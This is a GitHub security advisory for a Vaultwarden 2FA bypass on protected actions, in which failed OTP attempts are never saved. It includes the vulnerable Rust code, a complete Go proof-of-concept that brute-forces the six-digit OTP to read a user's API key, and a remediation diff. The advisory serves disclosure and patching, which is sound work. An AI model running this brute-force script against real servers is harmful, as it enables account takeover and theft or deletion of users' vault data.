Skip to content

Vaultwarden has 2FA Bypass on Protected Actions due to Faulty Rate Limit Enforcement

Moderate severity GitHub Reviewed Published Mar 4, 2026 in dani-garcia/vaultwarden • Updated Mar 5, 2026

Package

cargo vaultwarden (Rust)

Affected versions

<= 1.34.3

Patched versions

1.35.0

Description

Summary

Vaultwarden v1.34.3 and prior are susceptible to a 2FA bypass when performing protected actions. An attacker who gains authenticated access to a user’s account can exploit this bypass to perform protected actions such as accessing the user's API key or deleting the user's vault and organisations the user is an admin/owner of.

Note that

Details

Within Vaultwarden, the PasswordOrOtpData struct is used to gate certain protected actions such as account deletion behind a 2FA validation. This validation requires the user to either re-enter their master password, or to enter a one-time passcode sent to their email address.

By default, the one-time passcode is comprised of six digits, and the expiry time for each token is ten minutes. The validation of this one-time passcode is performed by the following function:

pub async fn validate_protected_action_otp(
    otp: &str,
    user_id: &UserId,
    delete_if_valid: bool,
    conn: &mut DbConn,
) -> EmptyResult {
    let pa = TwoFactor::find_by_user_and_type(user_id, TwoFactorType::ProtectedActions as i32, conn)
        .await
        .map_res("Protected action token not found, try sending the code again or restart the process")?;
    let mut pa_data = ProtectedActionData::from_json(&pa.data)?;

    pa_data.add_attempt();
    // Delete the token after x attempts if it has been used too many times
    // We use the 6, which should be more then enough for invalid attempts and multiple valid checks
    if pa_data.attempts > 6 {
        pa.delete(conn).await?;
        err!("Token has expired")
    }

    // Check if the token has expired (Using the email 2fa expiration time)
    let date =
        DateTime::from_timestamp(pa_data.token_sent, 0).expect("Protected Action token timestamp invalid.").naive_utc();
    let max_time = CONFIG.email_expiration_time() as i64;
    if date + TimeDelta::try_seconds(max_time).unwrap() < Utc::now().naive_utc() {
        pa.delete(conn).await?;
        err!("Token has expired")
    }

    if !crypto::ct_eq(&pa_data.token, otp) {
        pa.save(conn).await?;
        err!("Token is invalid")
    }

    if delete_if_valid {
        pa.delete(conn).await?;
    }

    Ok(())
}

Since the one-time passcode is only six-digits long, it has significantly less entropy than a typical password or secret key. Hence, Vaultwarden attempts to prevent brute-force attacks against this passcode by enforcing a rate limit of 6 attempts per code. However, the number of attempts made by the user is not persisted correctly.

In the validate_protected_action_top function, Vaultwarden first reads the OTP data from a JSON blob stored in pa.data. The resulting ProtectedActionData structure is then a deserialised copy of the underlying JSON value.

let mut pa_data = ProtectedActionData::from_json(&pa.data)?;

Next, Vaultwarden calls pa_data.add_attempt() in order to increment the number of attempts made by one. This increments the attempt count on the local structure, but does not modify the value of the pa.data.

pub fn add_attempt(&mut self) {
    self.attempts += 1;
}

Finally, if the OTP validation fails, Vaultwarden attempts to persist the updated attempt count by calling pa.save(conn). However since we only modified a copy of pa.data, the value of pa.data.attempts remains at zero.

The probability of a successful brute force depends on the OTP token length, the OTP expiry duration, and the request throughput. Since each request issued by the attacker does not depend on any previous requests, network latency is not a factor. The bottleneck then, will likely be either the attacker’s network bandwidth or Vaultwarden’s request processing throughput. From local testing, rates of up to 2500 requests per second were achievable, which successfuly bruteforced the OTP in 3 minutes.

If the attacker’s request throughput is low, they can also make repeated requests to /api/accounts/request-otp to generate new tokens. Their probability of success is then

$$1 - \left(1 - \frac{R * T}{10^L}\right)^n,$$

where $R$ is the number of requests per second, $T$ is the token expiry time in seconds, $L$ is the number of digits in the OTP code, and $n$ is the number of OTP tokens requested.

Proof of Concept

The easiest method of demonstrating this vulnerability is by making an (authenticated) request to the /api/accounts/request-otp endpoint to generate an OTP, and then repeatedly sending invalid guesses to /api/accounts/verify-otp. After six guesses, Vaultwarden will still reply "Token is invalid" in response to an incorrect guess, rather than "Token has expired" as expected when the rate limit is exceeded. Upon entering the correct OTP, the code will still validate despite more than six guesses being made.

For a more practical example, the following Go script will brute force the OTP in order to read the user’s API key.

package main

import (
	"bytes"
	"context"
	"crypto/tls"
	"encoding/json"
	"fmt"
	"io"
	"log"
	"net/http"
	"sync"
	"sync/atomic"
	"time"
)

const (
	host        = "https://10.10.0.1:8000"
	jwtToken    = "..."
	concurrency = 100
	totalOtps   = 1000000
)

type Brute struct {
	client *http.Client
}

func NewBrute() *Brute {
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	return &Brute{
		client: &http.Client{Transport: tr},
	}
}

func (v *Brute) RequestOTP() error {
	req, err := http.NewRequest("POST", host+"/api/accounts/request-otp", nil)
	if err != nil {
		return fmt.Errorf("failed to create OTP request: %w", err)
	}
	req.Header.Set("Authorization", "Bearer "+jwtToken)

	resp, err := v.client.Do(req)
	if err != nil {
		return fmt.Errorf("failed to send OTP request: %w", err)
	}
	defer resp.Body.Close()

	if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusBadRequest {
		return fmt.Errorf("unexpected status code for OTP request: %d", resp.StatusCode)
	}

	fmt.Println("Requested OTP successfully")
	return nil
}

func (v *Brute) GetAPIKey(ctx context.Context, otp string) (bool, error) {
	payload, _ := json.Marshal(map[string]string{"otp": otp})
	body := bytes.NewBuffer(payload)

	req, err := http.NewRequestWithContext(ctx, "POST", host+"/api/accounts/api-key", body)
	if err != nil {
		return false, fmt.Errorf("failed to create verification request: %w", err)
	}
	req.Header.Set("Authorization", "Bearer "+jwtToken)
	req.Header.Set("Content-Type", "application/json")

	resp, err := v.client.Do(req)
	if err != nil {
		return false, err
	}
	defer resp.Body.Close()

	switch resp.StatusCode {
	case http.StatusOK:
		body, err := io.ReadAll(resp.Body)
		if err == nil {
			fmt.Println("\n-----\n" + string(body) + "\n-----\n")
		}
		return true, nil
	case http.StatusBadRequest:
		return false, nil
	default:
		return false, fmt.Errorf("unexpected status code for verification: %d", resp.StatusCode)
	}
}

func progressTracker(ctx context.Context, counter *uint64, start time.Time) {
	ticker := time.NewTicker(300 * time.Millisecond)
	defer ticker.Stop()

	for {
		select {
		case <-ctx.Done():
			done := atomic.LoadUint64(counter)
			elapsed := time.Since(start).Seconds()
			rps := 0.0
			if elapsed > 0 {
				rps = float64(done) / elapsed
			}
			fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs\n", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed)
			return
		case <-ticker.C:
			done := atomic.LoadUint64(counter)
			elapsed := time.Since(start).Seconds()
			rps := 0.0
			if elapsed > 0 {
				rps = float64(done) / elapsed
			}
			fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed)
		}
	}
}

func main() {
	brute := NewBrute()
	if err := brute.RequestOTP(); err != nil {
		log.Fatalf("Error: %v", err)
	}

	ctx, cancel := context.WithCancel(context.Background())
	defer cancel()

	var wg sync.WaitGroup
	var counter uint64
	startTime := time.Now()

	go progressTracker(ctx, &counter, startTime)

	chunkSize := totalOtps / concurrency
	for i := 0; i < concurrency; i++ {
		start := i * chunkSize
		end := start + chunkSize
		if i == concurrency-1 {
			end = totalOtps
		}

		wg.Add(1)
		go func(s, e int) {
			defer wg.Done()
			for otpNum := s; otpNum < e; otpNum++ {
				select {
				case <-ctx.Done():
					return
				default:
				}

				otpStr := fmt.Sprintf("%06d", otpNum)
				success, err := brute.GetAPIKey(ctx, otpStr)

				atomic.AddUint64(&counter, 1)

				if err != nil {
					select {
					case <-ctx.Done():
					default:
						log.Printf("\nError verifying OTP %s: %v", otpStr, err)
						cancel()
					}
					return
				}

				if success {
					fmt.Printf("\n\nSuccess: Found OTP = %s\n", otpStr)
					cancel()
					return
				}
			}
		}(start, end)
	}

	wg.Wait()
	fmt.Println("Brute-force attempt finished.")
}

image

Impact

An attacker who gains access to a user’s account can exploit this bypass to perform protected actions such as accessing the user’s API key or deleting the user’s accounts and organisations.

Remediation

The simplest fix is to ensure the updated number of attempts is persisted by calling pa.data = pa_data.to_json() before calling pa.save(conn). However this still leaves open the possibility of an attacker requesting an OTP code, exhausting their six attempts and then requesting a new code to try. This attack succeeds with probability

$$1 - \left(1 - \frac{6}{10^L}\right)^n,$$

which becomes non-neglible as $n$ increases.

Therefore the best approach might be to enforce a delay like this, to ensure that all rate limits are ultimately tied back to time:

diff --git a/src/api/core/two_factor/protected_actions.rs b/src/api/core/two_factor/protected_actions.rs
index 5e4a65be..aa9cb8f6 100644
--- a/src/api/core/two_factor/protected_actions.rs
+++ b/src/api/core/two_factor/protected_actions.rs
@@ -66,7 +66,18 @@ async fn request_otp(headers: Headers, mut conn: DbConn) -> EmptyResult {
     if let Some(pa) =
         TwoFactor::find_by_user_and_type(&user.uuid, TwoFactorType::ProtectedActions as i32, &mut conn).await
     {
-        pa.delete(&mut conn).await?;
+        let pa_data = ProtectedActionData::from_json(&pa.data)?;
+        let token_sent = DateTime::from_timestamp(pa_data.token_sent, 0)
+            .expect("Protected Action token timestamp invalid")
+            .naive_utc();
+        let elapsed = Utc::now().naive_utc() - token_sent;
+        let delay = TimeDelta::seconds(20);
+
+        if elapsed < delay {
+            err!(format!("Please wait {} seconds before requesting another code.", (delay - elapsed).num_seconds()));
+        } else {
+            pa.delete(&mut conn).await?;
+        }
     }

     let generated_token = crypto::generate_email_token(CONFIG.email_token_size());
@@ -131,6 +142,7 @@ pub async fn validate_protected_action_otp(
     }

     if !crypto::ct_eq(&pa_data.token, otp) {
+        pa.data = pa_data.to_json();
         pa.save(conn).await?;
         err!("Token is invalid")
     }

References

@dani-garcia dani-garcia published to dani-garcia/vaultwarden Mar 4, 2026
Published to the GitHub Advisory Database Mar 4, 2026
Reviewed Mar 4, 2026
Published by the National Vulnerability Database Mar 4, 2026
Last updated Mar 5, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(9th percentile)

Weaknesses

Improper Restriction of Excessive Authentication Attempts

The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame. Learn more on MITRE.

CVE ID

CVE-2026-27801

GHSA ID

GHSA-v6pg-v89r-w8wr

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.